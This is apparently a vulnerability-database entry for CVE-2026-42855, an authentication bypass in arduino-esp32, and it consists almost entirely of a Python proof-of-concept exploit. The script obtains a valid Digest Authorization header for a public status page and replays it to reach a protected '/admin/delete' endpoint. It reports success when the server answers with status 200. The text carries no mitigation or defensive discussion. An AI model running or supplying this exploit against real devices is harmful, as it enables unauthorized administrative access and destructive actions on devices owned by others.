CVE-2026-42855 arduino-esp32认证绕过漏洞

import requests # Target configuration target_base = "http://192.168.1.100" accessible_uri = "/public/status" # URI the attacker can access protected_uri = "/admin/delete" # URI the attacker wants to access username = "admin" password = "password" # Step 1: Obtain a valid Authorization header for the accessible URI # The server generates the hash based on the 'accessible_uri' session = requests.Session() session.auth = requests.auth.HTTPDigestAuth(username, password) response = session.get(f"{target_base}{accessible_uri}") # Extract the valid Authorization header valid_auth_header = response.request.headers['Authorization'] print(f"[+] Captured Auth header for {accessible_uri}: {valid_auth_header}") # Step 2: Replay the header to access the protected URI # The vulnerability allows using the hash for 'accessible_uri' to access 'protected_uri' exploit_headers = { "Authorization": valid_auth_header } # Send request to the protected resource using the captured header exploit_response = requests.get(f"{target_base}{protected_uri}", headers=exploit_headers) if exploit_response.status_code == 200: print(f"[+] Exploit successful! Accessed {protected_uri}") print(f"[+] Response: {exploit_response.text}") else: print(f"[-] Exploit failed. Status code: {exploit_response.status_code}")